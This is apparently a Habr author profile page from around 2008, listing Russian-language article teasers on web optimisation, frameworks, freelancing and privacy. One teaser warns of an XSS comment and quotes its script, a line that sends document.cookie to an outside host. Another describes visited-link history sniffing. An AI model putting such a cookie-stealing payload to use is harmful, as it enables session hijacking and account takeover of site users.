Pull to refresh
1
0
Георгий Мамедалиев @gerchik

User

Send message

Удалённое снятие информации о посещённых страницах

Reading time1 min
Views1.2K
Специалисты по безопасности обращают внимание на одну из самых привычных и естественных функций браузера: информацию о посещённых ссылках в браузере. Как известно, после посещения ссылки и перезагрузки страницы ссылка меняет цвет. Так вот, эту информацию можно очень легко снять с помощью специального скрипта. Опасность подобной атаки часто недооценивается.

Владелец сайта может легко посмотреть, какие ссылки вы уже посетили раньше. Для этого он может даже специально внедрить невидимые ссылки на странице, снимая информацию скриптом. Например, он может проверить, ходили ли вы на сайт конкурента, отметить этот факт в cookies и даже изменить для вас контент сайта соответствующим образом. Конечно же, это явное нарушение приватности. И тем более неприятно знать, что приватную информацию о вас так легко может узнать кто угодно. Разработчики Mozilla обратили внимание на такую опасность ещё в 2002 году, но не придумали, что можно сделать.

Конечно, никто не оспаривает удобство функции для самого пользователя. На самом деле, все мы давно привыкли к ней. Кроме того, владельцы сайта могут применить фантазию и использовать удалённый съём информации из чужого браузера для более качественной фильтрации своего контента. Например, можно не ставить кнопки на некоторые социальные сайты, если пользователь уже ходил по этим ссылкам. Но даже в этом случае законность подобных действий вызывает сомнения.
Читать дальше →
Total votes 43: ↑42 and ↓1+41
Comments20

Оптимизация размера файлов: уплотняем поток

Reading time1 min
Views1.4K
После ряда статей на тему минимизации размера файлов и распределения их по нескольким хостам у меня возник вопрос: какое оптимальное соотношение между числом (или размером) «встроенных» и внешних файлов? Какая часть страницы должна загружаться вместе с основным HTML-файлом, а какая — только с внешними файлами? Для решения этих и ряда других вопросов я собрал тестовое окружение в виде одной странице, для которой применены различные оптимизационные техники (заодно и посмотрел, как реально все эти техники влияют на скорость загрузки страницы).

Шаг первый: простая страница



Начал я с обычной страницы, для которой использовалось только gzip-сжатие HTML-файла. Это самое простое, что может быть сделано для оптимизации страницы (на самом деле, причиной было то, что мне не хотелось специально отключать сжатие для одного хоста, а потом его включать обратно :). Данная страница бралась за основу, с которой сравнивалось все остальное.

читать дальше на webo.in →
Total votes 28: ↑27 and ↓1+26
Comments40

Вышел релиз eZ Components 2008.1

Reading time3 min
Views923
Сегодня после обкатки релиз-кандидата вышел официальный релиз eZ Components 2008.1. Пересказывать changelog не буду, попробую сделать краткое введение в eZ Components.

Итак, eZ Components — это высококачественный объектно-ориентированный web-фреймворк, написанный на PHP5, распространяемый по New BSD License. О нем уже писали на Хабре. Описываемая версия требует PHP >= 5.2.1

Читать дальше →
Total votes 27: ↑22 and ↓5+17
Comments33

Простейший Feed-ридер за 10 минут

Reading time3 min
Views8.4K
Была у меня идея, написать статью, о том, как можно создать свой RSS-ридер. Я даже начал ее реализовывать, но вчера на хабре появилась статья Maxter’a — Генерация RSS фидов с помощью класса Syndication. В этой статье рассматривался набор классов Syndication, для работы с фидами (Feeds) RSS и Atom. Благодаря Syndication можно не только генерировать фиды, но и читать их. В этой статье я хочу представить простейший пример RSS/Atom ридера, который можно написать буквально за 10 минут. Правда, доступна эта возможность только в .Net Framework 3.5…

Читать дальше →
Total votes 48: ↑40 and ↓8+32
Comments35

Сжатие при помощи canvas и PNG-картинок

Reading time1 min
Views2.1K
Примечание: ниже находится перевод статьи «Compression using Canvas and PNG-embedded data». Автор предлагает на суд читателей еще один способ загрузить в клиентском браузере JavaScript-библиотеку, передав при этом минимум данных. Для этого используется PNG-картинка и объект canvas. Мои комментарии далее курсивом.

Сжатая JavaScript-библиотека в виде PNG-файла

Недавно у меня появилась идея, что можно хранить исходный Javascript-код в PNG-картинке, а затем получать его через метод getImageData() элемента canvas. К несчастью, сейчас это означает, что только такой подход будет работать только в Firefox, Opera Beta и последних ночных сборках WebKit. Пока еще никто не указал мне, насколько gzip опережает данный метод по степени сжатия, я хочу сразу сказать что рассматриваемый метод никак не может быть практической альтернативой физическому сжатию. Чуть раньше сегодня я уже писал о сжатой версии в 8Кб скрипта Super Mario, для которого использовалась эта техника (подробнее можно прочитать в заметке про кодирование). Здесь я приведу лишь некоторые детали о действительном положении вещей.

читать дальше на webo.in →
Total votes 50: ↑45 and ↓5+40
Comments26

Пользуемся escrow, чтобы не было мучительно больно.

Reading time2 min
Views27K
В последнее время с завидной регулярностью вижу на хабре посты и комментарии фрилансеров и заказчиков, красочно описывающие то, как их кинули. Не будем говорить о том, что клиента и работника надо выбирать с умом, лучше всего из уже имеющихся пары сотен предложений; что надо получить степень доктора психологии, чтобы выявить «кидалу» на стадии переговоров; что надо присылать урезанные неработающие демо-версии с встроенными бэкдорами; что надо строго стоять на принципе «утром стулья, вечером деньги» — это уже не раз обсасывалось в постах и комментах. Поговорим лучше о том, что сделает вашу жизнь скучной, пресной и безвкусной, решив эту проблему на корню — об escrow сервисах.

а именно:
Total votes 37: ↑33 and ↓4+29
Comments54

Практическая кроссплатформенность

Reading time3 min
Views1.8K
После полугода использования Ubuntu Linux я окончательно решил, что это именно та система, которая мне нужна для работы и развлечений. Почту организовал в Evolution и был приятно удивлен тем, что там есть все что мне надо, но ничего лишнего (что особенно удивительно после работы в Microsoft Office Outlook)!

Так сложилось, что я купил себе PocketPC на базе WM6 (Windows Mobile 6).

Все было замечательно до момента, пока у меня не появилось много дел и задач: понадобилась полная синхронизация между тремя продуктами:
  • Evolution
  • Windows Mobile Outlook
  • MS Office Outlook

Что же делать?
Total votes 40: ↑35 and ↓5+30
Comments46

FC-TrackBar 0.4.1 — новое начало

Reading time2 min
Views2.8K

Заглянем в прошлое

Не так давно в статьях раздела JavaScript были представлены широкой публике трекбары:



Проект неожиданно получил продолжение. К разработке присоединились камрады abarmot и 1602, а активное обсуждение привело к улучшению текущего и реализации нового функционала. Поэтому, появилось желание сделать проекту свой собственный «дом», где он будет жить и развиваться, что было успешно реализовано на sourceforge.net. Теперь вместо того, чтобы писать статью на каждое изменение в трекбарах автор может спокойно обновлять архивы и описания, а вы самостоятельно скачивать последние версии.

Читать дальше →
Total votes 48: ↑45 and ↓3+42
Comments38

Алгоритм кубика Рубика сократили до 23 ходов

Reading time2 min
Views3.7K
Максимальное количество ходов, которое требуется для сбора кубика Рубика, сокращено до двадцати трёх. Эту математическую задачу решил стенфордский выпускник Томаш Рокицки. Разработанная им стратегия была запущена на вычислительной станции, которая подтвердила правильность расчётов.

Рокицки применил оригинальный подход. Вместо анализа отдельных ходов он взял в расчёт форму кубика и разбил её на набор его состояний. Всего получилось 2 млрд состояний (sets) с 20 млрд элементов в каждом. В этой концепции ходы рассматриваются как пары «связанных состояний» (cosets). Рокицки доказал, что большое количество состояний на самом деле повторяют друг друга и поэтому могут быть проигнорированы. Но даже после оптимизации для расчёта всей модели требуются очень большие вычислительные ресурсы. Предыдущий рекорд (25 ходов) потребовал 1500 часов на машине с процессором и Q6600 (1,6 ГГц) и 8 ГБ оперативной памяти. Сейчас Рокицки позаимствовал 7,8 ядро-лет вычислений на более мощном кластере в известной киностудии Sony Pictures Imageworks (вычисления выполнялись во время простоя на тех же машинах, где просчитывались спецэффекты «Человека-паука 3» и мультика «Лови волну»): всего было проанализировано более 200 тыс. связанных состояний.
Читать дальше →
Total votes 75: ↑72 and ↓3+69
Comments130

Запущена географическая карта русскоязычных блогов.

Reading time1 min
Views513

Миша Квакин aka «Designfreak» совместно с Антоном Лобовкиным, известным по проектам «ОднаКнопка» и 1ink.ru запустили визуализированную "Карту блогов".

«Карта блогов» — каталог персональных блогов, построенный по географическому принципу. Авторам всегда было интересно узнать, какова плотность русскоязычных блогеров на каждом участке нашей страны, а также зарубежья.

С помощью карты блогов можно и нужно продвигать свой блог. Один из конвенциональных способов — оказаться на главной странице проекта. В качестве бонуса, там будут появляться все свежедобавленные блоги по пять штук в столбик, а в качестве дополнительного бонуса — все «популярные» (тоже по пять).


На первом месте сейчас, естественно, Москва, за ней Питер и потом мой родной Екатеринбург — не такая мы уж и провинция :).
Total votes 45: ↑36 and ↓9+27
Comments24

Семантический поиск: мифы и реальность

Reading time6 min
Views24K

О семантическом поиске говорят уже на протяжении нескольких лет. Любая технология, которая сможет сместить Google с вершины, вызывает всеобщий интерес. Особенно если речь идет о долгожданной и часто обсуждаемой возможности семантического поиска. Однако нас ни столько интересует прогресс в этой области, сколько огорчает отсутствие реальных результатов проводимых исследований, ведь итоги поиска не так уж и сильно отличаются от итогов поиска Google. В чем же дело?

Например, при вводе в строку поиска «Столица Франции», оба метода дают один и то же правильный ответ: «Париж». Кроме того, большинство запросов, которые мы вбиваем в строку поиска в виде аббревиатур, дают те же результаты, если вводить термин полностью. Очевидно, что тут что-то не так. Всем известно, что семантические технологии способны на многое, но почему? И как они работают? Ознакомившись с этой статьей, вы узнаете, что на самом деле, мы просто-напросто задаем не те вопросы.
Читать дальше →
Total votes 41: ↑41 and ↓0+41
Comments31

Делаем did you mean, часть вторая

Reading time3 min
Views2.5K

Здравствуйте



Не так давно я писал про правильный did you mean.
Несмотря на все мои улучшения, guess-инг всё равно часто ошибался, и выдавал странные результаты.

Однако недавно, мне удалось значительно улучшить качество guess-инга, и я решил, что было бы неплохо написать «патч» к моей предыдущей статье :)


Читать дальше →
Total votes 33: ↑33 and ↓0+33
Comments33

Crop & Resize на страницах ваших сайтов

Reading time3 min
Views32K
Пройдясь по хабра-поиску выяснил, что готового решения для кропа-ресайза изображений, на движке JavaScript/HTML/CSS еще не предлагалось. Поэтому, позвольте представить вашему вниманию модуль для ваших сайтов, частично реализуюший функционал редактирования, распространенный на фото-хостингах.

К делу

Внешне задумка выглядит так:


Читать дальше →
Total votes 117: ↑102 and ↓15+87
Comments122

12 простых правил, чтобы не деградировать во фрилансе

Reading time3 min
Views20K
Очень часто фриланс обвиняют в том, что он является тупиком в развитии специалиста (при этом часто в пример ставятся именно фрилансеры-программисты).

Мол все сводится к решению однотипных не сложных задач, а сложные задачи не доверяют во фриланс. Такие выводы можно прочитать почти в любом обсуждении фриланса и не от одного человека.

Именно поэтому я хотел бы сегодня поднять еще раз эту тему и привести список своих советов, что нужно делать фрилансеру, чтобы он постоянно продвигался вперед, а не топтался на месте и деградировал. Иначе говоря — как не погрязнуть в рутине однообразных и мелких проектов.
Читать дальше →
Total votes 80: ↑72 and ↓8+64
Comments114

Определение города по IP-адресу

Reading time2 min
Views35K
Такая потребность может возникнуть при геотаргетинге информации, работе картографических сервисов, анализе статистики посещений сайта.

Задача решается следующим образом.

1. Выкачиваем и правильно складываем базы whois.
2. Для каждой подсети определяем город.
3. Пакуем базу в бинарный файл.

Но зачем это все делать самим, когда уже есть готовые решения. Одно из них (полную версию) я выкладываю сюда для теста и получения фидбэка.
Читать дальше →
Total votes 38: ↑32 and ↓6+26
Comments84

AideRSS — Читай только самое лучшее!

Reading time2 min
Views599
AideRSSЯ уже давно слышал о сервисе AideRSS, но все руки не доходили “пощупать” его. А оказывается, очень даже зря…

О нем стало известно еще в августе 2007 года. Прошел почти 1 год, а об этом сервисе рассказало очень мало русских блогеров (По версии Яндекса — 12 раз). А достаточно полного обзора я нигде не встретил. Что же, будем исправлять это недоразумение.
Читать дальше →
Total votes 52: ↑45 and ↓7+38
Comments16

Средний размер веб-страницы увеличился втрое с 2003 года

Reading time1 min
Views2.1K
Примечание: ниже находится перевод статьи «Average Web Page Size Triples Since 2003», в которой автор рассуждает о тенденциях, происшедших за последние 5 лет, касающихся размера веб-страницы и числа объектов на ней. Очень интересно сравнить полученные данные с ростом пропускной способности интернета, по моему мнению, последняя увеличилась примерно так же. Отсюда можно сделать вывод, что клиентская оптимизация ни разу не потеряла своей актуальности за последние 10—15 лет. Мои комментарии далее курсивом.

Размер средней веб-страницы увеличился более чем втрое с 2003 года. С 2003 по 2008 годы она увеличилась в размере с 93,7Кб до более 312Кб (см. рисунок 1), почти на 233% (Domenech и др. 2007, Flinn & Betcher 2008). За тот же пятилетний период число объектов на такой странице примерно удвоилось: с 25,7 до 49,9 объектов на страницу. Если взять статистику за более длительный период, то окажется, что с 1995 года размер средней веб-страницы увеличился в 22 раза, а число объектов на страницу в 21,7 раза.

Рост размера средней веб-страницы

Рисунок 1. Рост размера средней веб-страницы

читать дальше на webo.in →
Total votes 53: ↑52 and ↓1+51
Comments11

Внимание, воровство cookies!

Reading time1 min
Views3.8K
В недавно опубликованном посте Однокласникис.инфо (не кликай, пока не дочитаешь) хабраюзер grg391 запостил комментарий со вложенным javascript'ом:

хабрахабр опасносте

Из-за этого комментария все комментарии после него не отображаются.

Содержание скрипта «bestrussianporn.ru/s.js»:
img = new Image(); img.src = "http://s.netsec.ru/gojas.gif?"+document.cookie;
Т. е. это sniffer ваших cookies, будьте осторожны, если вы при авторизации отмечали чекбокс «не привязыватьтся к IP-адресу» злоумышленник может завладеть вашим аккаунтом.

Рекомендуется сменить пароль.
Total votes 100: ↑96 and ↓4+92
Comments64

Вышел jQuery UI 1.5 RC1

Reading time1 min
Views1.2K
Как сообщает нам наш официальный источник — вышел первый релиз-кандидат jQuery UI — набора виджетов и визуальных эффектов для известного в узких кругах JS-фреймворка jQuery.

Как утверждает источник, RC1 довольно стабилен, а точнее — это самая стабильная версия из тех, которые вообще выпускались. :) Так что — спешите обновляться.

Ах да, чуть не забыл — в некоторых местах поменялось API (в draggable и resizable модулях так точно поменялось), так что будьте всё же осторожны и предусмотрительны.
Total votes 33: ↑30 and ↓3+27
Comments36

Фрилансеры не за 5 рублей или статистика

Reading time1 min
Views2.5K
Это продолжение вчерашнего поста про дизайнеров, а точнее некоторая статистика.

Я провел небольшой эксперимент с целью выявить уровень работ и уровень запросов фрилансеров.

Читать дальше →
Total votes 57: ↑48 and ↓9+39
Comments110

Information

Rating
Does not participate
Location
Dallas, Texas, США
Date of birth
Registered
Activity